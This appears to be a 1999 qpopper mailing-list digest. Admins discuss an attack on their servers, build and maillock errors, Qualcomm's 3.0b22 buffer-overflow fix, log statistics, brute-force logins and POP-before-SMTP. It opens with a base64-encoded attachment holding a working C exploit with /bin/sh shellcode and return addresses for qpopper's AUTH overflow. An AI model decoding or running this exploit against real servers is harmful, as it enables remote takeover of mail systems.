eXN0ZW0ocykuDQogKiBJIGFtIG5vdCByZXNwb25zaWJsZSBmb3IgYW55IHVu
YXV0aG9yaXplZCB1c2Ugb2YgdGhpcyBwcm9ncmFtLg0KICoNCiAqIHRlc3Rl
ZCBvbiBCU0RJIDMuMC80LjAuMSwgRnJlZUJTRCAyLjIuOC8zLjMsIExpbnV4
IA0KICogDQogKiBTaW5jZSBwb3BwZXIgaXMgdXN1YWxseSBjb21waWxlZCBi
eSB0aGUgYWRtaW4sIHJldHVybiBhZGRyZXNzZXMgd2lsbCB2YXJ5LA0KICog
YnV0IEkgaGF2ZSBpbmNsdWRlZCBjb21tb24gdmFsdWVzLiAgWW91IG1heSBo
YXZlIHRvIHByb3ZpZGUgYW4gb2Zmc2V0DQogKiB0byBnZXQgaXQgdG8gd29y
ayBvbiB5b3VyIHN5c3RlbS4NCiAqIA0KICogSSB3cm90ZSB0aGUgZXhwbG9p
dCBuZWFyIHRoZSBiZWdpbm5pbmcgb2YgTm92ZW1iZXIgMTk5OSwgYW5kIHVu
bGlrZSBzb21lIA0KICogb3RoZXIgZXhwbG9pdHMgSSd2ZSBzZWVuIHNpbmNl
LCB0aGlzIG9uZSB3b3JrcyBldmVuIG9uIExpbnV4IGJveGVzIG9uIHdoaWNo
IA0KICogaW5ldGQgd2FzIG5vdCBzdGFydGVkIGZyb20gYSBzaGVsbCBwcm9t
cHQuDQogKg0KICogT25lIG1pbm9yIGNoYW5nZSBtdXN0IGJlIG1hZGUgZm9y
IHRoaXMgdG8gZXhwbG9pdCB0aGUgQVVUSCBvdmVyZmxvdy4NCiAqDQogKiBV
c2FnZTogSWYgeW91IGNhbid0IGZpZ3VyZSBvdXQgaG93IHRvIHVzZSB0aGlz
LCB5b3Ugc2hvdWxkbid0DQogKiAJICBiZSBpbiB0aGUgc2VjdXJpdHkgYnVz
aW5lc3MuICAodHJ5IG5ldGNhdCkNCiAqLw0KDQojaW5jbHVkZSA8c3RkaW8u
aD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCiNpbmNsdWRlIDxzeXMvdGltZS5o
Pg0KI2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5o
Pg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxuZXRpbmV0
L2luLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCg0KdW5zaWduZWQgaW50IE5P
UD0weDkwOw0KDQp1bnNpZ25lZCBsb25nIG9mZnNldD0wOyAvKiBkZWZhdWx0
IG9mZnNldCAqLw0KDQpjaGFyIGJzZHNjW109DQoJIlx4ZWJceDMyXHg1ZVx4
MzFceGRiXHg4OVx4NWVceDA3XHg4OVx4NWVceDEyXHg4OVx4NWVceDE3Ig0K
CSJceDg4XHg1ZVx4MWNceDhkXHgxZVx4ODlceDVlXHgwZVx4MzFceGMwXHhi
MFx4M2JceDhkXHg3ZSINCgkiXHgwZVx4ODlceGZhXHg4OVx4ZjlceGJmXHgx
MFx4MTBceDEwXHgxMFx4MjlceDdlXHhmNVx4ODkiDQoJIlx4Y2ZceGViXHgw
MVx4ZmZceDYyXHg2MVx4NjNceDYwXHhlYlx4MWJceGU4XHhjOVx4ZmZceGZm
Ig0KCSJceGZmL2Jpbi9zaFx4YWFceGFhXHhhYVx4YWFceGZmXHhmZlx4ZmZc
eGJiXHhiYlx4YmJceGJiIg0KCSJceGNjXHhjY1x4Y2NceGNjXHg5YVx4YWFc
eGFhXHhhYVx4YWFceDA3XHhhYSI7DQoNCmNoYXIgbGludXhzY1tdPQ0KCSJc
eGViXHgyMlx4NWVceDg5XHhmM1x4ODlceGY3XHg4M1x4YzdceDA3XHgzMVx4
YzBceGFhIg0KCSJceDg5XHhmOVx4ODlceGYwXHhhYlx4ODlceGZhXHgzMVx4
YzBceGFiXHhiMFx4MDhceDA0Ig0KCSJceDAzXHhjZFx4ODBceDMxXHhkYlx4
ODlceGQ4XHg0MFx4Y2RceDgwXHhlOFx4ZDlceGZmIg0KCSJceGZmXHhmZi9i
aW4vc2giOw0KDQpzdHJ1Y3QgdmVyc2lvbiB7DQoJaW50IG51bTsNCgljaGFy
KiBzeXN0eXBlOw0KCWludCBidWZmZXJfbGVuZ3RoOw0KCWxvbmcgYWRkcmVz
czsNCn07DQoNCnN0cnVjdCB2ZXJzaW9uIHZlcmxpc3RbXSA9IHsNCgl7MCwg
IkJTREkgMi54LzMueCwgRnJlZUJTRCAyLngiLCAxMDAxLCAweGVmYmZkNTZj
fSwNCgl7MSwgIkJTREkgNC54IiwgMTAwMSwgMHg4MDQ3NTY0fSwNCgl7Miwg
IkZyZWVCU0QgMy54IiwgMTAwMSwgMHhiZmJmZDNkY30sDQoJezMsICJMaW51
eCIsIDk5MCwgMHhiZmZmZDMwNH0sDQoJezAsIDAsIDAsIDB9DQp9Ow0KDQpp
bnQgbWFpbihpbnQgYXJnYywgY2hhcioqIGFyZ3YpIHsNCgljaGFyKiBidWZm
ZXIsICpzaGVsbGNvZGU7DQoJaW50IGJ1ZmxlbiwgaT0wLCB2ZXIsIHJldGFk
ZHIsIGFsaWduPTA7DQoJc3RydWN0IHNvY2thZGRyX2luIHNvY2thZGRyOw0K
CXN0cnVjdCBob3N0ZW50KiBob3N0Ow0KDQoJaWYgKGFyZ2MgPCAyKSB7DQoJ
CXByaW50ZigiVXNhZ2U6ICVzIHZlcnNpb24gW29mZnNldF1cbiIsIGFyZ3Zb
MF0pOw0KCQlpPS0xOw0KCQlwcmludGYoIlxuQXZhaWxhYmxlIHZlcnNpb25z
OlxuIik7DQoJCXdoaWxlICh2ZXJsaXN0WysraV0uc3lzdHlwZSkgIHsNCgkJ
ICBwcmludGYoIiAgICVkOiAlc1xuIiwgdmVybGlzdFtpXS5udW0sIHZlcmxp
c3RbaV0uc3lzdHlwZSk7DQoJCX0NCgkJcHJpbnRmKCJcbiIpOw0KCQlleGl0
KC0xKTsNCgl9DQoNCgl2ZXI9YXRvaShhcmd2WzFdKTsNCglpZiAoYXJnYyA+
IDIpIHsNCgkJb2Zmc2V0PWF0b2koYXJndlsyXSk7DQoJfQ0KCWlmIChzdHJz
dHIodmVybGlzdFt2ZXJdLnN5c3R5cGUsICJMaW51eCIpKSB7DQoJCXNoZWxs
Y29kZT1saW51eHNjOw0KCQlhbGlnbj0yOw0KCX0NCgllbHNlIHNoZWxsY29k
ZT1ic2RzYzsNCg0KCWJ1Zmxlbj12ZXJsaXN0W3Zlcl0uYnVmZmVyX2xlbmd0
aDsNCglyZXRhZGRyPXZlcmxpc3RbdmVyXS5hZGRyZXNzOw0KDQoJYnVmZmVy
PShjaGFyKiltYWxsb2MoYnVmbGVuKTsNCgltZW1zZXQoYnVmZmVyLCBOT1As
IGJ1Zmxlbik7IA0KCW1lbWNweShidWZmZXIsICJBVVRIICIsIDQpOw0KCW1l
bWNweShidWZmZXIrODAwLCBzaGVsbGNvZGUsIHN0cmxlbihzaGVsbGNvZGUp
KTsNCglmb3IgKGk9ODAwK3N0cmxlbihzaGVsbGNvZGUpK2FsaWduOyBpPCBi
dWZsZW4tNDsgaSs9NCkgew0KCQkqKCh1bnNpZ25lZCBsb25nIGludCAqKSZi
dWZmZXJbaV0pPXJldGFkZHIrb2Zmc2V0Ow0KCX0NCglidWZmZXJbYnVmbGVu
LTJdPSdcbic7DQoJYnVmZmVyW2J1Zmxlbi0xXT0nXG4nOw0KDQoJcHJpbnRm
KCIlc1xuIiwgYnVmZmVyKTsNCn0NCg==
--2110849577-815205743-943993525=:26891--
--hQiwHBbRI9kgIhsi--
Date: Wed, 01 Dec 1999 12:29:48 -0600
From: RTS <rts at rdr dot net>
Subject: Buffer Overflow Bug
Well it seems I got hit. Minor though. Caught him while he was doing it. :)
Anyway the question I have is....
Does the system require you to have a valid user name and password to
attack qpopper or can you just flood info to the port and cause it to happen??
I am wondering this if I should be aware of any other things I should be
checking my network for. Besides sniffers.
The attack came from an isdn connection from xs4all.nl.
RTS
Date: Wed, 1 Dec 1999 14:22:50 -0500
From: Tomasz Orzechowski <tmo at apk dot net>
Subject: rh-6.x and qpopper 3b2X
Is anyone else having trouble getting the newest qpopper to work on
RedHat 6.x i386 machines?
./configure --enable-specialauth --enable-bulletins --enable-log-login
changed HOMEDIRMAIL in popper/popper.h
added -DAUTHFILE=\"/etc/pop-users\" to popper/Makefile
bombs with:
Dec 1 13:55:39 yhm in.pop3d[20268]: connect from localhost
Dec 1 13:55:43 yhm in.pop3d[20268]: maillock() for user tmo returning 5 (1 attempt(s))
Dec 1 13:55:43 yhm in.pop3d[20268]: tmo at [127.0.0 dot 1]: -ERR maillock: '/var/spool/mail/.tmo.pop'
After enabling debugging:
Dec 1 14:14:47 yhm in.pop3d[21197]: connect from localhost
Dec 1 14:14:47 yhm in.pop3d[21197]: Debugging turned on
Dec 1 14:14:47 yhm in.pop3d[21197]: (v3.0b21) Servicing request from "127.0.0.1" at 127.0.0.1
Dec 1 14:14:47 yhm in.pop3d[21197]: +OK QPOP (version 3.0b21) at yhm.biuro.net.pl starting.
Dec 1 14:14:49 yhm in.pop3d[21197]: Received: "user tmo"
Dec 1 14:14:49 yhm in.pop3d[21197]: +OK Password required for tmo.
Dec 1 14:14:52 yhm in.pop3d[21197]: Received: "pass xxxxxxxxx"
Dec 1 14:14:52 yhm in.pop3d[21197]: Creating temporary maildrop '/var/spool/mail/.tmo.pop'
Dec 1 14:14:52 yhm in.pop3d[21197]: uid = 500, gid = 12
Dec 1 14:14:52 yhm in.pop3d[21197]: Getting mail lock
Dec 1 14:14:52 yhm in.pop3d[21197]: maillock() for user tmo returning 5 (1 attempt(s))
Dec 1 14:14:52 yhm in.pop3d[21197]: tmo at [127.0.0 dot 1]: -ERR maillock: '/var/spool/mail/.tmo.pop'
Dec 1 14:14:52 yhm in.pop3d[21197]: +OK Pop server at yhm.biuro.net.pl signing off.
Dec 1 14:14:52 yhm in.pop3d[21197]: (v3.0b21) Ending request from "tmo" at (127.0.0.1) 127.0.0.1
Any suggestions? Is my config somehow broken, is the popper's method
of locking messed up, or something yet else?
If it's something obvious please point it out to me, I have spent the
past 18 hours upgradnig solaris and disksuite arrays on an e450 and
barely remember my own name...
--
Tomasz Orzechowski tmo at apk dot net
APK.net systems administration team TO630
Date: Wed, 1 Dec 1999 20:25:01 +0100 (CET)
From: Dominik Brettnacher <domi at saargate dot de>
Subject: reason for "-ERR POP EOF received"
Hi there,
what is, in general, the reason for getting the "-ERR POP EOF received"
message from qpopper?
--
Dominik - http://www.saargate.de/~domi/
Date: Wed, 1 Dec 1999 13:34:47 -0600
From: "Igor S. Livshits" <igorl at life.uiuc dot edu>
Subject: Re: rh-6.x and qpopper 3b2X
Are you using PAM? German Poo posted a PAM patch for qpopper -- I
could not get specialauth to work and went to PAM instead -- works
like a charm.
Cheers, igor
Date: Wed, 1 Dec 1999 14:42:07 -0500
From: Tomasz Orzechowski <tmo at apk dot net>
Subject: Re: rh-6.x and qpopper 3b2X
> Are you using PAM? German Poo posted a PAM patch for qpopper -- I
> could not get specialauth to work and went to PAM instead -- works
> like a charm.
Nah, it auths ok. It bombs on making the mail lock.
And no, it is not permissions on the directory (775 root:mail)
because making it 1777 root:mail doesn't solve anything, and
besides the initial .tmo.pop is created OK.
Hilfe :)
--
Tomasz Orzechowski tmo at apk dot net
APK.net systems administration team TO630
Date: Wed, 01 Dec 1999 11:57:34 -0800
From: Reese <reese at oneserv.onecolor dot com>
Subject: stats in SYSLOG
My SYSLOG file gets the following line every time someone checks their
email. I don't really need this info. Any ideas on how to turn it off?
Dec 1 11:53:15 5Q:servername popper[139462]: Stats: username 1 4486 0 0
Reese
From: "Adrian Harris" <harrisa at reading-college.ac dot uk>
Date: Wed, 1 Dec 1999 20:40:22 -0000
Subject: Re: stats in SYSLOG
> My SYSLOG file gets the following line every time someone checks their
> email. I don't really need this info. Any ideas on how to turn it off?
My inetd.conf line has:
pop3 stream tcp nowait root /usr/local/libexec/popper
popper -c -s -t /var/log/qpopper.log
And /var/log/qpopper.log is auto-rotated every night.
It probably uses a bit of processor time to log these events, but the
server's not that busy.
Date: Wed, 01 Dec 1999 13:48:13 -0700
From: Kelly Peterson <kellyp at interbaun dot com>
Subject: Re: # of POP-3 accesses (was : Re: Virtual Domains)
Where do you get theses stats? Is there a perl script that goes though the
logfiles or something?
It would be great to have access to these numbers.
At 12:17 PM 11/29/99 +0100, you wrote:
>> Qpopper on one system seems to be working good with about 5000 users and
>> averaging over 180,000 pop3 connections per week.
>>
>> Jeremy C. Reed
>> http://www.reedmedia.net
>
>FWIW : we run qpopper 2.53 on a 6-processor Sun Enterprise 4000 (1.5 GB mem)
>and last week's figures are :
>
> Monday 22 : 183075 successful POP-3 connections
> Tuesday 23 : 188772
> Wednesday 24 : 184475
> Thursday 25 : 183857
> Friday 26 : 170345
> Saturday 27 : 69445
> Sunday 28 : 62723
>
> week total : 1042692
>
>There are over 20,000 mailboxes on the server totalling 14 GB.
>
>
>Eric.
>
>
From: Dave Thacker <dthacker at omnihotels dot com>
Subject: qpopper logs
Date: Wed, 1 Dec 1999 15:01:05 -0600
I second Kelly's request. I need more information about how qpopper is doing on my server!
=======================================================
Dave Thacker System/Database Administrator (402) 334-6664x535
Omni Hotels Res Center Omaha, Nebraska dthacker at omnihotels dot com
=======================================================
Date: Wed, 1 Dec 1999 13:49:27 -0800 (PST)
From: "Jeremy C. Reed" <reed at wcug.wwu dot edu>
Subject: Re: # of POP-3 accesses (was : Re: Virtual Domains)
Kelly,
On Wed, 1 Dec 1999, Kelly Peterson wrote:
> Where do you get theses stats? Is there a perl script that goes though the
> logfiles or something?
>
> It would be great to have access to these numbers.
I simply used grep and a calculator.
mail:~ $ zgrep popper /var/log/daemon.log.0.gz | grep "connect" | wc -l
167890
-Jeremy Reed
>
> At 12:17 PM 11/29/99 +0100, you wrote:
> >> Qpopper on one system seems to be working good with about 5000 users and
> >> averaging over 180,000 pop3 connections per week.
> >>
> >> Jeremy C. Reed
> >> http://www.reedmedia.net
> >
> >FWIW : we run qpopper 2.53 on a 6-processor Sun Enterprise 4000 (1.5 GB mem)
> >and last week's figures are :
> >
> > Monday 22 : 183075 successful POP-3 connections
> > Tuesday 23 : 188772
> > Wednesday 24 : 184475
> > Thursday 25 : 183857
> > Friday 26 : 170345
> > Saturday 27 : 69445
> > Sunday 28 : 62723
> >
> > week total : 1042692
> >
> >There are over 20,000 mailboxes on the server totalling 14 GB.
> >
> >
> >Eric.
> >
> >
>
Jeremy C. Reed
------------------------------------------------------------
http://www.reedmedia.net
Date: Wed, 1 Dec 1999 15:54:36 -0800
From: Qpopper Support <qpopper at qualcomm dot com>
Subject: Qpopper 3.0b22 available *FIXES BUFFER OVERRUN*
Qpopper 3.0b22 is available at
<ftp://ftp.qualcomm.com/eudora/servers/unix/popper/>.
Changes from 3.0b21 to 3.0b22
-----------------------------
1. Fixed potential buffer overflows in pop_get_command.c,
pop_get_subcommand.c,
and pop_xmit.c.
2. Improved maillock() diagnostics.
Changes from 3.0b20 to 3.0b21
-----------------------------
1. Added file popper/banner.h -- modify this file to add a custom
banner and CAPA IMPLEMENTATION tag suffix. Note that if you
modify qpopper you should indicate this using banner.h.
2. Applied patch contributed by Vince Vielhaber to make use of
HOMEDIRMAIL easier (only need define it in popper.h, no need
to edit pop_dropcopy.c as well).
3. Made use of dot-locking (as well as flock) unconditional.
4. Moved flock.[ch] from /popper to /common. Added flock and maillock in
/common to Make files.
5. Corrected use of HAVE_MAILLOCK macro in pop_dropcopy.c and pop_updt.c to
HAVE_MAILLOCK_H to match what is in config.h.
6. Changed MAILOCK define to SYS_MAILLOCK in config.h,pop_dropcopy, and
pop_updt.c, to better reflect meaning.
7. Added FILE * parameter to our maillock() to allow for consistent logging
of errors. Added code to our maillock() to log errors.
8. Added logit.[ch] to /common and Makefile. This allows logging
independent of POP.
9. Modified pop_dropcopy and pop_updt to call either system maillock() or
our maillock().
10. Guarded popper.h with #ifndef _POPPER_H to avoid problems with multiple
#include "popper.h".
11. Fixed buffer overflow in pop_auth.c (reported by Elgin Lee).
Date: Wed, 1 Dec 1999 15:57:45 -0800
From: Qpopper Support <qpopper at qualcomm dot com>
Subject: Re: rh-6.x and qpopper 3b2X
At 2:22 PM -0500 12/1/99, Tomasz Orzechowski wrote:
> Is anyone else having trouble getting the newest qpopper to work on
> RedHat 6.x i386 machines?
>
> ./configure --enable-specialauth --enable-bulletins --enable-log-login
Please add --enable-debugging, and try again using 3.0b22. I've
added more diagnostics to maillock(). Many of the trace messages
won't show up in b21 or b22 unless --enable-debugging is added.
Thanks very much.
Date: Wed, 1 Dec 1999 19:35:03 -0500
From: Tomasz Orzechowski <tmo at apk dot net>
Subject: Re: rh-6.x and qpopper 3b2X
Qpopper Support wrote on Wed, Dec 01, 1999 at 03:57:45PM -0800:i
> At 2:22 PM -0500 12/1/99, Tomasz Orzechowski wrote:
> > Is anyone else having trouble getting the newest qpopper to work on
> > RedHat 6.x i386 machines?
> > ./configure --enable-specialauth --enable-bulletins --enable-log-login
> Please add --enable-debugging, and try again using 3.0b22. I've
> added more diagnostics to maillock(). Many of the trace messages
> won't show up in b21 or b22 unless --enable-debugging is added.
Oh, I did. The second part of my original post started with
'After enabling debugging:' which was meant to imply a rebuild
with '--enable-debugging' added. Sorry for the unclear post,
sleep deprivation (sp?) and all... Here's the syslog from the
'debugable' binary:
Dec 1 14:14:47 yhm in.pop3d[21197]: connect from localhost
Dec 1 14:14:47 yhm in.pop3d[21197]: Debugging turned on
Dec 1 14:14:47 yhm in.pop3d[21197]: (v3.0b21) Servicing request from "127.0.0.1" at 127.0.0.1
Dec 1 14:14:47 yhm in.pop3d[21197]: +OK QPOP (version 3.0b21) at yhm.biuro.net.pl starting.
Dec 1 14:14:49 yhm in.pop3d[21197]: Received: "user tmo"
Dec 1 14:14:49 yhm in.pop3d[21197]: +OK Password required for tmo.
Dec 1 14:14:52 yhm in.pop3d[21197]: Received: "pass xxxxxxxxx"
Dec 1 14:14:52 yhm in.pop3d[21197]: Creating temporary maildrop '/var/spool/mail/.tmo.pop'
Dec 1 14:14:52 yhm in.pop3d[21197]: uid = 500, gid = 12
Dec 1 14:14:52 yhm in.pop3d[21197]: Getting mail lock
Dec 1 14:14:52 yhm in.pop3d[21197]: maillock() for user tmo returning 5 (1 attempt(s))
Dec 1 14:14:52 yhm in.pop3d[21197]: tmo at [127.0.0 dot 1]: -ERR maillock: '/var/spool/mail/.tmo.pop'
Dec 1 14:14:52 yhm in.pop3d[21197]: +OK Pop server at yhm.biuro.net.pl signing off.
Dec 1 14:14:52 yhm in.pop3d[21197]: (v3.0b21) Ending request from "tmo" at (127.0.0.1) 127.0.0.1
I see that 3b22 improved on maillock-ing, perhaps I'll try that and we'll
see. But I'm doubtful, it seems like it is flat out failing to establish
a maillock, and my RH doesn't seem to have it's own version of maillock.
--
Tomasz Orzechowski tmo at apk dot net
APK.net systems administration team TO630
Date: Wed, 1 Dec 1999 19:48:22 -0500
From: Tomasz Orzechowski <tmo at apk dot net>
Subject: Re: rh-6.x and qpopper 3b2X
Flash update - 3b22 works perfect:
+OK QPOP (version 3.0b22) at yhm.biuro.net.pl starting.
user tmo
+OK Password required for tmo.
pass haselko
+OK tmo has 934 messages (7871686 octets).
quit
+OK Pop server at yhm.biuro.net.pl signing off.
Thanks :)
Qpopper Support wrote on Wed, Dec 01, 1999 at 03:57:45PM -0800:i
> At 2:22 PM -0500 12/1/99, Tomasz Orzechowski wrote:
>
> > Is anyone else having trouble getting the newest qpopper to work on
> > RedHat 6.x i386 machines?
> >
> > ./configure --enable-specialauth --enable-bulletins --enable-log-login
>
> Please add --enable-debugging, and try again using 3.0b22. I've
> added more diagnostics to maillock(). Many of the trace messages
> won't show up in b21 or b22 unless --enable-debugging is added.
>
> Thanks very much.
--
Tomasz Orzechowski tmo at apk dot net
APK.net systems administration team TO630
Date: Wed, 01 Dec 1999 17:00:08 -0800
From: Garlic <garlic at garlic dot com>
Subject: Compile error with b21 and b22.
Tried both b21 and b22 today. Compile error shows as
cc -c -I.. -I.. -I. -I../mmangle -I../common -g -DHAVE_CONFIG_H
-DAIX -DUNIX pop_dropcopy.c -o pop_dropcopy.o
"../common/maillock.h", line 40.7: 1506-046 (S) Syntax error.
"../common/maillock.h", line 41.10: 1506-030 (S) Identifier user cannot
be redeclared.
make: The error code from the last command is 1.
System is AIX 4.3.2.
Anyone have any ideas on what the syntax error could be?
Date: Wed, 1 Dec 1999 17:16:57 -0800
From: Qpopper Support <qpopper at qualcomm dot com>
Subject: Re: rh-6.x and qpopper 3b2X
At 7:48 PM -0500 12/1/99, Tomasz Orzechowski wrote:
> Flash update - 3b22 works perfect:
I'm very glad to hear it. Thanks for letting me know.
If you have any future problems with maillock(), please configure
with --enable-debugging and send in the trace file.
Thanks again.
Date: Thu, 02 Dec 1999 13:07:49 +1100
From: Jonathan Benson <sysadmin at ocean.com dot au>
Subject: Qpopper 3.0b22 and PAM patch?
Hi Everyone
I haven't tried yet but just wondering if the PAM patch for 3.0b18 (as
posted by German Poo Caman~o) works with the latest beta as is?
I'm going to have to find out soon as I'll have to update to protect
against buffer overflow attacks.
Also can someone from the development team reply with why the PAM patch
wasn't worked back in to the main distribution with b19? I was told
some time ago that it would be.
Thanks
Jon
--
Jonathan Benson
Systems Administrator
Ocean Internet
http://www.ocean.com.au/
Date: Thu, 2 Dec 1999 10:23:41 -0500 (EST)
From: Jennifer Luisi <jlui at troi.cc.rochester dot edu>
Subject: hoping for help with a pop daemon
Hello,
I support an IRIX 6.5.4 box running sendmail 8.9.3 with no other mail
agents except /bin/mail. We are currently running Qpopper 2.53 and
having serious problems with it. We have about 7,500 users on the box,
roughly 2/3 of which pop their mail. About ten random people a week,
using random POP clients, get corrupted mail spools, the familiar "-ERR
processing from lines; change recognition modes" thing. Usually the
first "From " line in the mail spool has disappeared.
I've been trying to get some more information about alternatives to
Qpopper. Until Qpopper 3.0 is in standard release, free of buffer
overflow problems, etc., we are reluctant to install it. Does anyone have
any experience with ipop3d? How about cucipop? I've been trying to find
some documentation and haven't had much luck so far. Any help or info
would be greatly appreciated. Thanks!
Sincerely,
Jennifer Luisi
--------------------------------------------------
Jennifer Luisi University of Rochester
Unix Consultant Rochester, NY 14627
-----------------------------------------------------------------
Date: Thu, 2 Dec 1999 08:31:55 -0800 (PST)
From: "Jeremy C. Reed" <reed at wcug.wwu dot edu>
Subject: Re: hoping for help with a pop daemon
Jennifer:
> I've been trying to get some more information about alternatives to
> Qpopper. Until Qpopper 3.0 is in standard release, free of buffer
> overflow problems, etc., we are reluctant to install it. Does anyone have
> any experience with ipop3d? How about cucipop? I've been trying to find
> some documentation and haven't had much luck so far. Any help or info
> would be greatly appreciated. Thanks!
I use gnu-pop3d (with my virtual domains support patch). gnu-pop3d is
available via http://www.nodomainname.net/. It seems to work good (but it
currently lacks UIDL support). I've been told that it is a lot faster than
ipop3d.
I also use qpopper on another machine; I improved its performance by using
the -S flag (for server mode).
Jeremy C. Reed
http://www.reedmedia.net
Date: Thu, 02 Dec 1999 10:04:15 -0400
From: Julien Nadeau <julien at csoft dot net>
Subject: POP-before-SMTP
Hello,
I've been working on a simple POP-before-SMTP implementation for QPopper
3.0b22,
it basically writes an 'ipaddress RELAY # user=username client=hostname'
line to
a file (can be specified with configure option). For those who don't
know what
POP-before-SMTP is about, it basically allows users who authenticated
via POP3
to use the mail server as a relay (= sending mail to an external address
using
the local mail exchanger) -- particularly for ISP's, this can be a good
help at
eliminating SPAM, and also the commented out section can help tracking
down local
spammers.
A script can then take these entries and add them to whatever access
database the
MTA is using.
Anyone here interested? Was this done before? (specifically for
QPopper, I know there
are other POP-before-SMTP implementations out there but they're not
flexible or secure
enough).
-- Julien Nadeau
POC Research, CubeSoft Communications
Date: Thu, 2 Dec 1999 13:31:38 -0500 (EST)
From: "A. M. Salim" <salim at localweb dot com>
Subject: Re: POP-before-SMTP
Hi,
> Anyone here interested? Was this done before? (specifically for
> QPopper, I know there are other POP-before-SMTP implementations out
> there but they're not flexible or secure enough).
very interested (we are an ISP/WPP) and we use the scheme outlined at
http://spam.abuse.net/tools/smPbS.html ... this is a somewhat unstable
implementation, we often get users complaining about "relaying denied"
even though they have authenticated, and the "makemap hash" hangs every
now and then when building the /etc/mail/popauth.db database. This scheme
includes source code changes to pop_stat.c for Qpopper.
Another scheme is outlined at
http://www.cynic.net/~cjs/computer/sendmail/poprelay.html and requires no
changes to qpopper but I have not tried it yet.
If anyone knows of any others please let us know!
regards
Mike Salim
Date: Thu, 2 Dec 1999 11:34:53 -0800
From: Randall Gellens <randy at qualcomm dot com>
Subject: Re: POP-before-SMTP
qpopper 3.0 includes an option (LOG_LOGIN) to log the IP address of
successful logins, for this purpose.
(All versions of qpopper also support XTND XMIT, which allows clients
to send mail through qpopper, after authenticating.)
However, in my opinion, the best solution is to use SMTP
authentication. Many SMTP servers and email clients now support
this.
--
Randall Gellens
Opinions are personal; facts are suspect; I speak for myself only
-------------- Randomly-selected tag: ---------------
It works better if you plug it in.
From: "Jack Barnett" <jbarnett at axil.netmate dot com>
Date: Thu, 2 Dec 1999 14:46:46 -0600
qpopper at lists.pensive dot org,
Recently someone has been trying to "brute force" his way into an email
account though qpopper. There was been over 2000 attempts at trying to
"login" to his account. Every 100 or so attacks, the ip of the attacker
will change! Any ideas on how to stop this? I have disabled the account he
is trying to break into, but he is taking alot of resources trying to login
every 2 seconds or so... I have put all the login information into a
differant file for disk space concerns, this is what the log is showing:
Fri Nov 26 14:03:45 1999 [12382] jbergman at [1-010.charter-stl dot com]: -ERR
Password
supplied for "jbergman" is incorrect.
Fri Nov 26 14:03:45 1999
Fri Nov 26 14:03:45 1999 [12382] Failed attempted login to jbergman from
host 1-
010.charter-stl.com
Fri Nov 26 14:03:45 1999
Fri Nov 26 14:03:55 1999 [12383] (v2.53) Unable to get canonical name of
client,
err = 0
Fri Nov 26 14:03:55 1999
Fri Nov 26 14:05:35 1999 [12436] jbergman at [1-010.charter-stl dot com]: -ERR
Password
supplied for "jbergman" is incorrect.
I don't want to press any legal actions against him, I just want to be able
to stop him cold on a techinal level. I can't disable pop3 since I have to
deal with managment.
Also I have enabled stats login, but can't tell exact how to read the log
Thu Dec 2 16:37:41 1999 [4285] Stats: rosenberg 0 0 6 64228
I don't understand the information behind the username "rosenberg", any
ideas?
Thanks,
Jack
Any false value is gonna be fairly boring in Perl, mathematicians
notwithstanding. -- Larry
Date: Thu, 02 Dec 1999 12:59:16 -0400
From: Julien Nadeau <julien at csoft dot net>
Subject: Re: POP-before-SMTP
Randall Gellens wrote:
>
> qpopper 3.0 includes an option (LOG_LOGIN) to log the IP address of
> successful logins, for this purpose.
I know (another pop-before-smtp implementation uses it), I haven't had
much time to look into qpopper's internal functions yet.
> (All versions of qpopper also support XTND XMIT, which allows clients
> to send mail through qpopper, after authenticating.)
>
> However, in my opinion, the best solution is to use SMTP
> authentication. Many SMTP servers and email clients now support
> this.
I work for an ISP which hosts thousands of people and I can guarantee
you
a lot of clients don't even know what SMTP means; many e-mail clients
still
don't support SMTP authentication and my opinion. Large ISPs need a
transparent
solution to e-mail relaying; POP-before-SMTP provides that.
From: "Dan Harkless" <dan-qpopper at dilvish.speed dot net>
Date: Thu, 02 Dec 1999 13:16:21 -0800
"Jack Barnett" <jbarnett at axil.netmate dot com> writes:
> Recently someone has been trying to "brute force" his way into an email
> account though qpopper. There was been over 2000 attempts at trying to
> "login" to his account. Every 100 or so attacks, the ip of the attacker
> will change! Any ideas on how to stop this? I have disabled the account he
> is trying to break into, but he is taking alot of resources trying to login
> every 2 seconds or so... I have put all the login information into a
> differant file for disk space concerns, this is what the log is showing:
>
> Fri Nov 26 14:03:45 1999 [12382] jbergman at [1-010.charter-stl dot com]: -ERR
> Password
> supplied for "jbergman" is incorrect.
> Fri Nov 26 14:03:45 1999
> Fri Nov 26 14:03:45 1999 [12382] Failed attempted login to jbergman from
> host 1-
> 010.charter-stl.com
> Fri Nov 26 14:03:45 1999
> Fri Nov 26 14:03:55 1999 [12383] (v2.53) Unable to get canonical name of
> client,
> err = 0
> Fri Nov 26 14:03:55 1999
> Fri Nov 26 14:05:35 1999 [12436] jbergman at [1-010.charter-stl dot com]: -ERR
> Password
> supplied for "jbergman" is incorrect.
>
> I don't want to press any legal actions against him, I just want to be able
> to stop him cold on a techinal level. I can't disable pop3 since I have to
> deal with managment.
Hmm. That is a tough one. If it were me, I'd hack qpopper to hook up to
libwrap.a (or is there already some support for this?) and after a
"USER jbergman", disconnect the connection immediately if the IP address
isn't one of the ones that the real jbergman comes from.
It'd be nice if Qualcomm could add real support for something like that,
complete with a config file where you could list the valid IPs for each user
(with the implication that if a user isn't specifically mentioned in that
file, he can connect from anywhere). It'd also be nice if it allowed
wildcarding of subnets for people who get dynamically assigned an IP out of
a pool.
-----------------------------------------------------------------------
Dan Harkless | To prevent SPAM contamination, please
dan-qpopper at dilvish.speed dot net | do not post this private email address
SpeedGate Communications, Inc. | to the USENET or WWW. Thank you.
From: "Sandy Knight" <sandy at mail.crazycon dot com>
Subject: X windows Gui
Date: Thu, 2 Dec 1999 13:40:16 -0800
I have looked (perhaps in the wrong places) for a x windows admin assistand
for qpopper. anyone know if one exists?
Sandy
Date: Thu, 02 Dec 1999 15:45:39 -0600
From: "Christopher L. Davis" <cld at prin dot edu>
Subject: Re: X windows Gui
At 01:40 PM 12/2/99 -0800, Sandy Knight wrote:
>I have looked (perhaps in the wrong places) for a x windows admin assistand
>for qpopper. anyone know if one exists?
Hmmm.... That causes me to ask a question. Why? To install qpopper you
need an entry in /etc/services and one in /etc/inetd.conf. Ongoing
management is pratically nil (recompiling new versions, etc). What type of
